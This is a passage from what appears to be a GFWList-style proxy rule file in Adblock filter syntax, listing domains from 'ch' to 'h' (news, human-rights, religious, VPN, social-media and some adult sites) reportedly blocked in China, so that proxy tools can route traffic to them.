nchinagfw.org\\n||chinagfw.org\\n.chinagreenparty.org\\n||chinagreenparty.org\\n.chinahorizon.org\\n||chinahorizon.org\\n.chinahush.com\\nchinalaborwatch.org\\nchinalawtranslate.com\\nchinaxchina.com/howto\\n.chinainperspective.com\\nchinainperspective.net/ArtShow.aspx?\\n||chinainperspective.net\\n.chinainperspective.org\\n||chinainperspective.org\\n||chinainterimgov.org\\nchinalawandpolicy.com\\n.chinamule.com\\n||chinamule.com\\nchinamz.org\\n.chinarightsia.org\\nchinasocialdemocraticparty.com\\n||chinasocialdemocraticparty.com\\nchinasoul.org\\n||chinasoul.org\\n.chinasucks.net\\nchinatimes.com\\n||chinatopsex.com\\nchinatweeps.com\\nchinaway.org\\n.chinaworker.info\\n||chinaworker.info\\nchinayouth.org.hk\\nchinayuanmin.org\\n||chinayuanmin.org\\n.chinese-hermit.net\\nchinese-memorial.org\\n||chinesedailynews.com\\n.chinesen.de\\n||chinesen.de\\n.chinesepen.org\\n.chinesetalks.net/ch\\n.chingcheong.com\\n||chingcheong.com\\nchithu.org\\nchn.chosun.com\\n.chrdnet.com\\n|http://chrdnet.com\\nchristianstudy.com\\n||christianstudy.com\\nchristusrex.org/www1/sdc\\n||chrlcg-hk.org\\n||chrome.com\\n||chromeadblock.com\\n||chromium.org\\nchubun.com\\nchuizi.net\\n||christiantimes.org.hk\\n.chrlawyers.hk\\n!--||allaboutalpha.com\\n||circlethebayfortibet.org\\n||citizenscommission.hk\\n.citizenlab.org\\ncitizensradio.org\\n.city365.ca\\n|http://city365.ca\\ncity9x.com\\n.civicparty.hk\\n||civicparty.hk\\ncivilhrfront.org\\n||civilhrfront.org\\n.civilmedia.tw\\npsiphon.civisec.org\\n!--||cjb.net\\n.ck101.com\\n||ck101.com\\n.clarionproject.org/news/islamic-state-isis-isil-propaganda\\n||classicalguitarblog.net\\n.clb.org.hk\\nclearharmony.net\\nclearwisdom.net\\n.clipfish.de\\n||club1069.com\\ncmi.org.tw\\n|http://www.cmoinc.org\\n||cmule.com\\n||cmule.org\\n||cms.gov\\n||cna.com.tw\\n.cnavista.com.tw/shop/stores_app\\n.cnd.org\\n||cnd.org/\\nwiki.cnitter.com\\n.cnn.com/video\\nnews.cnyes.com\\n||cochina.co\\n||cochina.org\\n.code1984.com/64\\n|http://goagent.codeplex.com\\n||codeshare.io\\n||codeskulptor.org\\n|http://tosh.comedycentral.com\\ncomefromchina.com\\n||comefromchina.com\\n||commentshk.com\\n||compileheart.com\\n||conoyo.com\\n.contactmagazine.net\\n.convio.net\\n.coobay.com\\n|http://www.cool18.com/bbs*/\\n.coolaler.com\\n||coolaler.com\\ncoolder.com\\n||coolder.com\\n||coolloud.org.tw\\ncorumcollege.com\\n||couchdbwiki.com\\n||cotweet.com\\ncpj.org\\n||cpj.org/\\ncrackle.com\\n||crackle.com\\n||crchina.org\\ncrd-net.org\\ncreaders.net\\n||creaders.net\\n.crossthewall.net\\n||crossthewall.net\\ncsdparty.com\\n||csdparty.com\\n||csuchen.de\\n.ctfriend.net\\n.ctitv.com.tw\\ncts.com.tw\\n|http://library.usc.cuhk.edu.hk/\\n|http://mjlsh.usc.cuhk.edu.hk/\\n.cuhkacs.org/~benng\\n.cuihua.org\\n||cuihua.org\\n.cuiweiping.net\\n||cuiweiping.net\\n||curvefish.com\\n.culture.tw\\n||culture.tw\\n.cw.com.tw\\n|http://forum.cyberctm.com\\n||cyberghostvpn.com\\n||cynscribe.com\\ncytode.us\\n||ifan.cz.cc\\n||mike.cz.cc\\n||nic.cz.cc\\n\\n!--------------------DD--------------------\\ncl.d0z.net\\n.dabr.co.uk\\n||dabr.co.uk\\ndabr.mobi\\n||dabr.mobi\\n||dabr.me\\ndadazim.com\\n||dadazim.com\\n.dadi360.com\\ndafagood.com\\ndafahao.com\\n||dalailama.ru\\n.dalailamavisit.org.nz\\n.dailidaili.com\\n||dailidaili.com\\n.dailymotion.com\\n.dajiyuan.com\\n.dajiyuan.eu\\ndalailama.com\\n.dalailamaprotesters.info\\n.dalailamaworld.com\\n||dalailamaworld.com\\ndalianmeng.org\\n||dalianmeng.org\\n.daliulian.org\\n||daliulian.org\\n.danke4china.net\\n||danke4china.net\\n.danwei.org\\ndaolan.net\\n.david-kilgour.com\\n|http://david-kilgour.com\\ndaxa.cn\\n||daxa.cn/\\ncn.dayabook.com\\n.daylife.com/topic/dalai_lama\\n||dcard.tw\\n.ddc.com.tw\\n||de-sci.org\\n.de-sci.org\\nlists.debian.org\\npackages.debian.org/zh-cn/lenny/gpass\\n||delcamp.net\\ndelicious.com/GFWbookmark\\n.democrats.org\\n||democrats.org\\n||desc.se/\\n.destroy-china.jp\\n||deutsche-welle.de\\n!--||deviantart.com\\n!--||deviantart.net\\n||devio.us\\n||devpn.com\\n|http://www.dfanning.com\\n||dfas.mil\\n.dharamsalanet.com\\n.diaoyuislands.org\\n||diaoyuislands.org\\nstatic.digg.com\\n|http://digiland.tw/\\n||digitalnomadsproject.org\\n.diigo.com\\n||diigo.com\\n||furl.net\\n.dipity.com\\n||directcreative.com\\n||discogs.com\\n@@||cdn.discogs.com\\n\\n.discuss.com.hk\\n||discuss.com.hk\\ndisp.cc\\n.dit-inc.us\\n||dit-inc.us\\n.dizhidizhi.com\\n||dizhuzhishang.com\\ndjangosnippets.org\\n||dl-laby.jp\\n||dlsite.com\\n||dmcdn.net\\n||dnscrypt.org\\n||dns2go.com\\n||dnssec.net\\n.dogfartnetwork.com/tour\\n.dojin.com\\n.dok-forum.net\\n||dolc.de\\n||dolf.org.hk\\n||dollf.com\\n.domain.club.tw\\ndongtaiwang.com\\n||dongtaiwang.com\\n.dongtaiwang.net\\n||dongtaiwang.net\\n.dongyangjing.com\\n.dontfilter.us\\n||dontmovetochina.com\\n.dotplane.com\\n||dotplane.com\\n||dotsub.com\\n||dougscripts.com\\ndowei.org\\n||doxygen.org\\ndphk.org\\ndpp.org.tw\\n||dpp.org.tw\\n||dreammask.org\\n.drepung.org\\n||drgan.net\\n||dropbox.com\\n||dropboxusercontent.com\\ndrsunacademy.com\\n.drtuber.com\\n.dscn.info\\n||dtiblog.com\\n||dtic.mil\\ndtiserv2.com\\n||duckduckgo.com\\n.duckload.com/download\\n||duckmylife.com\\n.duihua.org\\n||duihua.org\\n||duihuahrjournal.org\\n.duoweitimes.com\\n||duoweitimes.com\\nduping.net\\n||duplicati.com\\ndupola.com\\ndupola.net\\n||dvorak.org\\n.dw.com\\n|http://www.dw.com\\n||dw.de\\n.dw-world.com\\n||dw-world.com\\n.dw-world.de\\nhttp://dw-world.de\\nwww.dwheeler.com\\ndwnews.com\\n||dwnews.com\\ndwnews.net\\n||dwnews.net\\nxys.dxiong.com\\n||dynawebinc.com\\n.dyndns.org\\n.dzze.com\\n\\n!--------------------EE--------------------\\n||e-classical.com.tw\\n||e-gold.com\\n.e-gold.com\\n||g.e-hentai.org\\n||lofi.e-hentai.org\\ne-info.org.tw\\n.e-traderland.net/board\\n.e123.hk\\n||earthcam.com\\neastern-ark.com\\n.eastturkestan.com\\n|http://www.eastturkistan.net/\\n.eastturkistan-gov.org\\n.eastturkistangovernmentinexile.us\\n||eastturkistangovernmentinexile.us\\nebookbrowse.com\\nebookee.com\\necministry.net\\nbbs.ecstart.com\\n||edgecastcdn.net\\n/twimg\\\\.edgesuite\\\\.net\\\\/\\\\/?appledaily/\\nedicypages.com\\nedoors.com\\n.edubridge.com\\n||edubridge.com\\n||eevpn.com\\nefcc.org.hk\\n||efmoe.com\\n||eic-av.com\\nelectionsmeter.com\\n||elgoog.im\\n||elpais.com\\n.eltondisney.com\\n||emacsblog.org\\n.emory.edu\\n.emule-ed2k.com\\n|http://emule-ed2k.com\\n.emuparadise.me\\n||enewstree.com\\nchinese.engadget.com\\n||englishfromengland.co.uk\\n||entermap.com\\n.episcopalchurch.org\\nepochtimes-bg.com\\n||epochtimes-bg.com\\nepochtimes-romania.com\\n||epochtimes-romania.com\\nepochtimes.co.il\\n||epochtimes.co.il\\nepochtimes.co.kr\\n||epochtimes.co.kr\\nepochtimes.com\\n||epochtimes.com\\nepochtimes.de\\nepochtimes.fr\\n.epochtimes.ie\\nepochtimes.jp\\nepochtimes.ru\\nepochtimes.se\\nepochtimestr.com\\n||epochweekly.com\\nerabaru.net\\n.erepublik.com\\n|http://erktv.com/\\n||ernestmandel.org\\n||erights.net\\n.etaa.org.au\\netaiwannews.com\\n||etizer.org\\n.ettoday.net\\netvonline.hk\\n.eu.org\\n||eu.org\\n.eulam.com\\neventful.com\\n||exblog.jp\\n||blog.exblog.co.jp\\n@@||www.exblog.jp\\n.exchristian.hk\\n||exchristian.hk\\n|http://blog.excite.co.jp/\\n||expatshield.com\\n||exploader.net\\n.expressvpn.com\\n.extremetube.com\\neyevio.jp\\n||eyevio.jp\\n.eyny.com\\n.ezpc.tk/category/soft\\n.ezpeer.com\\n\\n!--------------------FF--------------------\\n.facebook.com\\n||facebook.com\\n/^https?:\\\\/\\\\/[^\\\\/]+facebook\\\\.com/\\n@@||*v6.facebook.com\\n||connect.facebook.net\\n||facebookquotes4u.com\\n|http://facesoftibetanselfimmolators.info\\n||facesofnyfw.com\\n\\n!--Enhancement:\\n!--http://faithfuleye.com.detail.website/\\n!--http://faithfuleye.com.ipaddress.com/\\n.faithfuleye.com\\n\\n||faiththedog.info\\n.fakku.net\\nfalun-co.org\\nfalunart.org\\n||falunasia.info\\nfalundafa.org\\nfalundafa-dc.org\\n||falundafa-florida.org\\n||falundafa-nc.org\\nfalun-ny.net\\nfalundafamuseum.org\\nfalungong.org.uk\\n||falunhr.org\\nfaluninfo.net\\n.falunpilipinas.net\\n||falunworld.net\\nfamilyfed.org\\n||fanglizhi.info\\n||fangong.org\\nfangongheike.com\\nfanqianghou.com\\nfapdu.com\\n!--.farxian.com\\n.fawanghuihui.org\\n||fbcdn.net\\nfanqiangyakexi.net\\nfail.hk\\n||famunion.com\\n.fan-qiang.com\\n.fangbinxing.com\\n||fangbinxing.com\\nfangeming.com\\n||fanswong.com\\n.fanyue.info\\n.farwestchina.com\\n!--||fastly.net\\nen.favotter.net\\n||faststone.org\\nfavstar.fm\\n||favstar.fm\\nfaydao.com/weblog\\n||fb.com\\nfb.me\\n||fb.me\\n||fbsbx.com\\nfc2.com\\n.fc2china.com\\nfc2blog.net\\n|http://uygur.fc2web.com/\\nvideo.fdbox.com\\n.fdc89.jp\\n||fourface.nodesnoop.com\\n!--feedbooks.mobi\\n||feedburner.com\\n||feedzshare.com\\n||feelssh.com\\nfeer.com\\n|http://feitianacademy.org\\n.feitian-california.org\\n||feministteacher.com\\n.fengzhenghu.com\\n||fengzhenghu.com\\n|http://ff.im\\nfflick.com\\nfgmtv.net\\n.fgmtv.org\\n|http://feeds.fileforum.com\\n.files2me.com\\n|http://files2me.com\\n.fileserve.com/file\\nfillthesquare.org\\n||finalion.jp\\nfindbook.tw\\n.fingerdaily.com\\nfinler.net\\n.fireofliberty.org\\n||fireofliberty.org\\n!--||flagfox.net\\n.falsefire.com\\n||falsefire.com\\nfleshbot.com\\n\\n!--||farm6.staticflickr.com\\n!--.flickr.com/photos/46231077@N06\\n!--.flickr.com/groups/aiweiwei\\n!--.flickr.com/photos/digitalboy100\\n!--.flickr.com/photos/fzhenghu\\n!--.flickr.com/photos/lonelyfox\\n!--flickr.com/photos/vanvan/529925157\\n!--.flickr.com/photos/winterkanal\\n!--.flickr.com/photos/zola\\n||flickr.com\\n||staticflickr.com\\n\\nflickrhivemind.net\\nyuming.flnet.org\\n|http://cn.fmnnow.com\\nfofldfradio.org\\nblog.foolsmountain.com\\nwww.forum4hk.com\\npioneer-worker.forums-free.com\\n!--foursquare.com\\n|http://4sq.com\\n||fotop.net\\nvideo.foxbusiness.com\\n|http://foxgay.com\\n||fringenetwork.com\\n||flecheinthepeche.fr\\n||focustaiwan.tw\\n.focusvpn.com\\n||fofg.org\\n.fooooo.com\\n||fooooo.com\\nfootwiball.com\\n||fourthinternational.org\\n||foxdie.us\\n||foxsub.com\\nfoxtang.com\\n.fpmt.org\\n|http://fpmt.org\\n.fpmt.tw\\n.fpmt-osel.org\\n||fpmtmexico.org\\nfqok.org\\n||fqrouter.com\\n||franklc.com\\n.freakshare.com\\n|http://freakshare.com\\n||free4u.com.ar\\nfree-gate.org\\n.free.fr/adsl\\n||allonlinux.free.fr\\n||dimitrik.free.fr\\nkineox.free.fr\\n||puttycm.free.fr\\n||freealim.com\\nwhitebear.freebearblog.org\\n.freechal.com\\n.freedomhouse.org\\n||freedomhouse.org\\n.freegao.com\\n||freegao.com\\n.free-hada-now.org\\n.freelotto.com\\n||freelotto.com\\nfreeman2.com\\n.freeopenvpn.com\\nfreemoren.com\\nfreemorenews.com\\nfreenet-china.org\\nfreenewscn.com\\n.freeoz.org/bbs\\n||freeoz.org\\n||www.bulbous.freeserve.co.uk\\n||freessh.us\\nfree4u.com.ar\\n.free-ssh.com\\n||free-ssh.com\\n.freedomcollection.org/interviews/rebiya_kadeer\\n.freeforums.org\\n||freenetproject.org\\n.freeoz.org\\n.freetibet.net\\n||freetibet.org\\n|http://freetibetanheroes.org\\n||freewallpaper4.me\\n.freewebs.com\\n||freeweibo.com\\n.freexinwen.com\\n.freeyoutubeproxy.net\\n||freeyoutubeproxy.net\\nfriendfeed.com\\nfriendfeed-media.com/e99a4ebe2fb4c1985c2a58775eb4422961aa5a2e\\nfriends-of-tibet.org\\n.friendsoftibet.org\\nfreechina.net\\n|http://www.zensur.freerk.com/\\nfreevpn.nl\\n|http://adult.friendfinder.com/\\n.fring.com\\n||fring.com\\n||frommel.net\\n.frontlinedefenders.org\\n||fscked.org\\n.fsurf.com\\n.ftchinese.com/story/001054103\\n.ftchinese.com/*video\\n.ftchinese.com/comments\\n.fuckcnnic.net\\n||fuckcnnic.net\\nfuckgfw.org\\nfulue.com\\n.funf.tw\\nfunp.com\\n.furhhdl.org\\n||furinkan.com\\n.futurechinaforum.org\\n||futuremessage.org\\n.fuyin.net\\n||fw.cm\\nfzh999.com\\nfzh999.net\\n\\n!--------------------GG--------------------\\n||gabocorp.com\\n.gaeproxy.com\\n.gaforum.org\\n||galenwu.com\\n||game735.com\\ngamebase.com.tw\\n|http://wiki.gamerp.jp\\n||gamer.com.tw\\n.gamer.com.tw\\n.gamez.com.tw\\n||gamez.com.tw\\n.gaoming.net\\n||gaoming.net\\nganges.com\\n.gaopi.net\\n|http://gaopi.net\\n.gaozhisheng.org\\n.gaozhisheng.net\\ngardennetworks.com\\n||gardennetworks.org\\n!--IP of Garden Network\\n72.52.81.22\\n||gartlive.com\\n||gather.com\\n||gaymap.cc\\n.gaytube.com\\n.gazotube.com\\n||gazotube.com\\n||gcc.org.hk\\n||gclooney.com\\n.gcpnews.com\\n.gdbt.net/forum\\ngdzf.org\\n||geek-art.net\\ngeekerhome.com/2010/03/xixiang-project-cross-gfw\\n||geekmanuals.com\\n!--||genuitec.com\\n.geocities.co.jp\\n.geocities.com/SiliconValley/Circuit/5683/download.html\\nhk.geocities.com\\ngeocities.jp\\n||geohot.com\\n||geometrictools.com\\n||get-digital-help.com\\n.getchu.com\\n||getfoxyproxy.org\\n.getfreedur.com\\n||getgom.com\\n.getlantern.org\\n||getlantern.org\\n.getjetso.com/forum\\ngetiton.com\\n.getsocialscope.com\\ngfw.org.ua\\n.ggssl.com\\n||ggssl.com\\n||ghost.org\\n||ghut.org\\n||giga-web.jp\\n|http://tw.gigacircle.com\\n|http://cn.giganews.com/\\ngigporno.ru\\n||gimpshop.com\\n||girlbanker.com\\n|http://softwaredownload.gitbooks.io/\\n|https://gist.github.com\\n|http://cthlo.github.io/hktv\\n|http://wsgzao.github.io/post/gfw-break\\n||glennhilton.com\\nglobaljihad.net\\nglobalmuseumoncommunism.org\\n||globalrescue.net\\n.globalvoicesonline.org\\n||globalvoicesonline.org\\ngmbd.cn\\n||gmhz.org\\n|http://www.gmiddle.com/\\n|http://www.gmiddle.net/\\n.gmll.org\\n||gnci.org.hk\\n||goagent.biz\\n||goagentplus.com\\ngodfootsteps.org\\n||godfootsteps.org\\ngodsdirectcontact.org.tw\\n.gokbayrak.com\\n||goldbetsports.com\\n|http://www.goldenmelody.com.tw\\n||goldwave.com\\ngongmeng.info\\ngongm.in\\ngongminliliang.com\\n.gongwt.com\\n|http://gongwt.com/\\n.goodreads.com\\n||goodreads.com\\n.goodreaders.com\\n||goodreaders.com\\n.goodtv.com.tw\\n.goodtv.tv\\n||goofind.com\\n.googlesile.com\\n.gopetition.com\\n||gopetition.com\\n||gotw.ca/\\ngrandtrial.org\\n||graphis.ne.jp\\n||s.gravatar.com\\ngreatfirewall.biz\\n||greatfirewallofchina.net\\n.greatfirewallofchina.org\\n||greatfirewallofchina.org\\n.greenparty.org.tw\\n||greenpeace.org\\ngreat-firewall.com\\ngreat-roc.org\\ngreatroc.org\\ngreatzhonghua.org\\n.greenpeace.com.tw\\n.greenvpn.net\\n||greenvpn.net\\ngs-discuss.com\\n||gtricks.com\\nguancha.org\\n.gun-world.net\\n||gutteruncensored.com\\n||gvm.com.tw\\n.gzm.tv\\n||gzone-anime.info\\n\\n!----------------Google----------------\\n||abc.xyz\\n||agoogleaday.com\\n||androidify.com\\n||chromeexperiments.com\\n||chromercise.com\\n||data-vocabulary.org\\n||g.co\\n||ggpht.com\\n||gmail.com\\n||gmodules.com\\n||goo.gl\\n/^https?:\\\\/\\\\/[^\\\\/]+google\\\\.(.*)/\\n!--||google-analytics.com\\n!--||googleadservices.com\\n||googleapis.com\\n||googleartproject.com\\n||googlecode.com\\n||googlecommerce.com\\n||googledomains.com\\n||googleearth.com\\n||googledrive.com\\n||googlegroups.com\\n||googlehosted.com\\n||googlelabs.com\\n||googlemail.com\\n||googleplus.com\\n||googlesource.com\\n!--||googlesyndication.com\\n!--||googletagmanager.com\\n!--||googletagservices.com\\n||googleusercontent.com\\n||googlevideo.com\\n||googlezip.net\\n||groups.google.cn\\n||gvt0.com\\n||gvt1.com\\n||html5rocks.com\\n||nic.google\\n||panoramio.com\\n||polymer-project.org\\n||recaptcha.net\\n||registry.google\\n|http://sipml5.org/\\n!--||www.google\\n!--Youtube CDN\\n||ytimg.com\\n\\n!------------Google App Engine/Appspot-------\\n.appspot.com\\n||appspot.com\\n/^https?:\\\\/\\\\/[^\\\\/]+appspot\\\\.com/\\n\\n!-------------Google ghs-----\\n!-||1024cores.net\\n!-||www.20thingsilearned.com\\n!-||www.3dtin.com\\n!-A\\n!-||abelhadigital.com\\n!-||blog.aegisub.org\\n!-||android-x86.org\\n!-||chrome.angrybirds.com\\n!-||appbrain.com\\n!-||my.architexa.com\\n!-||feeds.arstechnica.com\\n!-||blog.athico.com\\n!-||aurorasoftworks.com\\n!-B\\n!-||www.benjamingolub.com\\n!-||rss.berryreview.com\\n!-||docs.blacktree.com\\n!-||secrets.blacktree.com\\n!-||www.blacktree.com\\n!-||feeds.boingboing.net\\n!-||moblog.bradleyit.com\\n!-||www.buddyrunner.com\\n!-||buzzcantweet.com\\n!-C\\n!-||feeds.cbsnews.com\\nchinaaid.net\\n!-||www.chinesealbumart.com\\n!-||chromeexperiments.com\\n!-||www.clementine-player.org\\n!-||data.clementine-player.org\\n!-||clemesha.org\\n!-||www.cloudgirlfriend.com\\n!-||rss.cnn.com\\n!-||cocoawithlove.com\\n!-||blog.controlspace.org\\n!-D\\n!-||www.dailygyan.com\\n!-||dailytodo.org\\n!-||blog.danmarner.com\\n!-||github.danmarner.com\\n!-||design-seeds.com\\n!-||designers-artists.com\\n!-||feeds.digg.com\\n!-||app.diu.li\\n!-||mail.diyang.org\\n!-||blog.doughellmann.com\\n!-||downforeveryoneorjustme.com\\n!-||droidsecurity.com\\n!-||www.dropmocks.com\\n!-||dumblittleman.com\\n!-||feeds.dzone.com\\n!-E\\nechofon.com\\n!-||echofon.com\\n!-||epc-jav.com\\n!-||everdark.info\\n!-||s.evernote.com\\n!-||evhead.com\\n!-F\\n!-||facilelogin.com\\n!-||*.fatduck.org\\n!-||blog.fdcn.org\\n!-||fftogo.com\\n!-||flightsimtalk.com\\n!-||mclee.foolme.net\\n!-||www.frienddeck.com\\n!-||fringespoilers.com\\n!-||fringetelevision.com\\n!-||funpea.com\\n!-G\\n!-||blog.gatein.org\\n!-||feeds.gawker.com\\n!-||geektang.com\\n!-||geohot.us\\n!-||getaround.com\\n!-||gmer.net\\n!-||www.gmote.org\\n!-||blog.go2web20.net\\n!--||blog.google.org\\n!-||google-melange.com\\n||golang.org\\n!-||fame.gonzolabs.org\\n!-||govecn.org\\n!-||gqueues.com\\n!-||graphycalc.com\\n||greasespot.net\\n!-||blog.growlforwindows.com\\n!-H\\n!-||hcm.com.tw\\n!-||blog.headius.com\\n!-||hogbaysoftware.com\\n!-||blog.hotot.org\\n!-||feeds.howstuffworks.com\\n!-||huhaitai.com\\n!-||blog.humanrightsfirst.org\\n!-I\\n!-||site.icu-project.org\\n!-||igorware.com\\n!-||ihas1337code.com\\n!-||inknouveau.com\\n!-||inote.tw\\n!-||ironhelmet.com\\n!-||iwfwcf.com\\n!-J\\n!-||blog.jangmt.com\\n!-||blog.jayfields.com\\n!-||t.jiecii.com\\n!-||blog.joint.net\\n!-||blog.jsquaredjavascript.com\\n!-||blog.jtbworld.com\\n!-K\\n!-||kathyschwalbe.com\\n!-||tomatovpn.keithmoyer.com\\n!-||www.keithmoyer.com\\n!-||kendalvandyke.com\\n!-||blog.kengao.tw\\n!-||log.keso.cn\\n!-||www.khanacademy.org\\n||www.klip.me\\n!-||usbloadergx.koureio.net\\n!-||blog.kowalczyk.info\\n!-L\\n!-||labyrinth2.com\\n!-||larsgeorge.com\\n!-||blog.lastpass.com\\n!-||docs.latexlab.org\\n!-||leanessays.com\\n!-||blog.lidaobing.info\\n!-||log.lightory.net\\n!-||feeds.limi.net\\n!-||www.liteapplications.com\\n!-||blog.liukangxu.info\\n!-||twitter.liukangxu.info\\n!-||oasisnewsroom.live4ever.us\\n!-||www.lockergnome.com\\n!-||locql.com\\n@@||site.locql.com\\n!-||feeds.loiclemeur.com\\n!-||blog.louisgray.com\\n!-M\\n!-||madebysofa.com\\n!-||mademoisellerobot.com\\n!-||masamixes.com\\n!-||www.metamuse.net\\n!-||blog.metasploit.com\\n!-||milazi.com\\n!-||www.miniweather.com\\n!-||twitter.missiu.com\\n!-||plurktop-button.mmdays.com\\n!-||feeds.mobileread.com\\n!-||www.modernizr.com\\n!-||www.modk.it\\n!-||mytwishirt.com\\n!-N\\n!-||blog.netflix.com\\n!-||blog.nihilogic.dk\\n!-||ntlk.org\\n!-||nvquan.org\\n!-||nogoodatcoding.com\\n!-||blog.notdot.net\\n!-||www.notify.io\\n!-O\\n!-||blog.obvious.com\\n!-||onebigfluke.com\\n!-||overstimulate.com\\n!-P\\n!-||pcgeekblog.com\\n!-||feeds.pdfchm.net\\n!-||feeds.people.com\\n!-||blog.persistent.info\\n!-||chrome.plantsvszombies.com\\n!-||portablesoft.org.ru\\n!-||prasannatech.net\\n!-||talk.news.pts.org.tw\\n!-||python-excel.org\\n!-Q\\n!-R\\n!-||r-chart.com\\n!-||rameshsubramanian.org\\n!-||rapid.pk\\n!-||blog.reddit.com\\n!-||blog.renanse.com\\n!-||robertmao.com\\n!-||www.romeo-foxtrot.com\\n!-S\\n!-||salmiyuck.com\\n!-||samsal.com\\n!-||blog.seeminglee.com\\n!-||blog.sflow.com\\n!-||blog.sigfpe.com\\n!-||simpletext.ws\\n!-||www.skulpt.org\\n!-||rss.slashdot.org\\n!-||snippetsapp.com\\n!-||w.sns.ly\\n!-||www.socialnmobile.com\\n!-||www.socialwhois.com\\n!-||spiritjb.org\\n!-||ssbook.com\\n!-||sshforwarding.com\\n!-||stationeria.com\\n!-||sunjidong.net\\n!-||syniumsoftware.com\\n@@||download.syniumsoftware.com\\n!-T\\n!-||tagxedo.com\\n!-||blog.tatoeba.org\\n!-||www.techfob.com\\n!-||teachparentstech.org\\n!-||the8pen.com\\n!-||theiphonewiki.com\\n!-||blog.thesilentnumber.me\\n!-||thesponty.com\\n!-||theultralinx.com\\n!-||blog.think-async.com\\n!-||tornadoweb.org\\n!-||transparentuptime.com\\n!-||triangulationblog.com\\n!-||blog.tsunanet.net\\n!-||en.tuxero.com\\n!-||twazzup.com\\n!-||tweetswell.com\\n!-||twibes.com\\n!-||art.twgg.org\\n!-||twivert.com\\n!-U\\n|http://ub0.cc\\n!-||jonny.ubuntu-tw.net\\n!-||blog.umonkey.net\\n!-V\\n!-||tp.vbap.com.au\\n!-||www.virtuousrom.com\\n!-||blog.visibotech.com\\n!-W\\n!-||waveprotocol.org\\n!-||www.wavesandbox.com\\n!-||webfee.org.ru\\n!-||blog.webmproject.org\\n!-||webupd8.org\\n!-||www.whatbrowser.org\\n!-||www.wheredoyougo.net\\n!-||willhains.com\\n!-||feeds.wired.com\\n!-||wisemapping.org\\nwozy.in\\n!-||wozy.in/\\n!-||blog.wundercounter.com\\n!-X\\n!-||xdelta.org\\n!-||xiaogaozi.org\\n!-||xilou.us\\n!-||xzy.org.ru\\n!-Y\\n!-||yooper.be\\n!-||tsong.yunxi.net\\n!-Z\\n\\n!-------------Google Minganci-----\\n!--@@||ipv6.google.com\\n\\ngospelherald.com\\n||gospelherald.com\\n|http://hk.gradconnection.com/\\n||grangorz.org\\n||graylog2.org\\ngreatfire.org\\n||greatfire.org\\ngreatfirewallofchina.org\\n||greatroc.tw\\n||gstatic.com\\n.gu-chu-sum.org\\n|http://gu-chu-sum.org\\nguishan.org\\n||guishan.org\\n||gunsamerica.com\\n|http://gvlib.com\\n.gyalwarinpoche.com\\n.gyatsostudio.com\\n\\n!--------------------HH--------------------\\n||h-china.org\\nh1n1china.org\\n.hacken.cc/bbs\\n||hackthatphone.net\\nhahlo.com\\n||hakkatv.org.tw\\n|http://bbs.hanminzu.org/\\n.hanunyi.com\\n|http://ae.hao123.com\\n|http://ar.hao123.com\\n|http://br.hao123.com\\n|http://en.hao123.com\\n|http://id.hao123.com\\n|http://jp.hao123.com\\n|http://ma.hao123.com\\n|http://sa.hao123.com\\n|http://th.hao123.com\\n|http://tw.hao123.com\\n|http://vn.hao123.com\\n||hardsextube.com\\n.harunyahya.com\\n||hasaowall.com\\nhave8.com\\n@@||haygo.com\\n||hdtvb.net\\n||heartyit.com\\n.hecaitou.net\\n||hecaitou.net\\n.hechaji.com\\n||hechaji.com\\n||heeact.edu.tw\\n||helplinfen.com\\n||helloandroid.com\\n||helloqueer.com\\nhellotxt.com\\n||hellotxt.com\\n||htxt.it/\\n.hellouk.org/forum/lofiversion\\n.helpeachpeople.com\\n||helpeachpeople.com\\n.helpzhuling.org\\n\\n!###########--Heroku--##########\\n||date.fm\\n||flightcaster.com\\n||branch.com\\n||awardwinningfjords.com\\n||futureme.org\\n||getcloudapp.com\\n||cl.ly\\n@@||f.cl.ly\\n||getsmartlinks.com\\n||git-scm.com\\n||lesscss.org\\n||list.ly\\n||maxgif.com\\n||overlapr.com\\n||peerpong.com\\n||pose.com\\n!--||rubyinstaller.org\\n||samsoff.es\\n||sendoid.com\\n||speckleapp.com\\n||stuffimreading.net\\n||tomayko.com\\n||twt.fm\\n||views.fm\\n\\nheqinglian.net\\nhere4news.com\\n||heungkongdiscuss.com\\n!--Google employee within Google IP\\n||hexxeh.net\\napp.heywire.com\\n.hgseav.com\\nhidden-advent.org\\n||hidden-advent.org\\nhidecloud.com/blog/2008/07/29/fuck-beijing-olympics.html\\n||hide.me\\n.hidemyass.com\\n||hidemyass.com\\n||hideipvpn.com\\n.hihiforum.com\\n|http://hihiforum.com\\n||hihistory.net\\n.higfw.com\\n||highrockmedia.com\\n||hiitch.com\\n||hikinggfw.org\\n.himalayan-foundation.org\\n.himemix.com\\n||himemix.com\\n.himemix.net\\ntimes.hinet.net\\n.hjclub.info\\n.hk-pub.com/forum\\n|http://hk-pub.com\\n.hk32168.com\\n||hk32168.com\\napp.hkatvnews.com/v3\\nhkbc.net\\n.hkbf.org\\n.hkchurch.org\\nhkday.net\\n.hkdailynews.com.hk/china.php\\n.hkej.com\\n.hkepc.com/forum/viewthread.php?tid=1153322\\nglobal.hkepc.com*forum\\nhkfront.org\\nhkgolden.com\\n.hkgreenradio.org/home\\n.hkheadline.com*blog\\n.hkheadline.com/instantnews\\nhkhkhk.com\\nhkjc.com\\n.hkjp.org\\nhkptu.org\\n.hkreporter.com\\n||hkreporter.com\\n|http://hkupop.hku.hk/\\n.hkwcc.org.hk\\n||hkzone.org\\nhnjhj.com\\n||hnjhj.com\\n||hola.com\\n||hola.org\\nholyspiritspeaks.org\\n||holyspiritspeaks.org\\n||derekhsu.homeip.net\\n|http://homeservershow.com\\n|http://old.honeynet.org/scans/scan31/sub/doug_eric/spam_translation.html\\nhongmeimei.com\\n||hongzhi.li\\nhootsuite.com\\n||hootsuite.com\\n|http://globalrescue.hopto.org/\\nhotpot.hk\\n.hotshame.com\\n||hotspotshield.com\\n||hougaige.com\\n||howtoforge.com\\n.hqcdp.org\\n||hqcdp.org\\n.hrcir.com\\n.hrcchina.org\\n.hrichina.org\\n||hrichina.org\\n.hrw.org\\n||hrw.org\\n||hsjp.net\\n||hsselite.com\\n.htkou.net\\n||htmldog.com\\nhuaglad.com\\n.huanghuagang.org\\n||huanghuagang.org\\n.huaren.us\\n||huaren.us\\nhuaxia-news.com\\nhuaxiabao.org\\nhuaxin.ph\\nhua-yue.net\\n||hugoroy.eu\\n||huhaitai.com\\n||huhamhire.com\\nhumanrightsbriefing.org\\n||hung-ya.com\\n||hungerstrikeforaids.org\\n||huping.net\\n||hutianyi.net\\nhutong9.net\\n||hwayue.org.tw\\n||hwinfo.com\\nhxwq.org\\n||hypeshell.com\\n||hyperrate.com\\n\\n!--------------------II---------------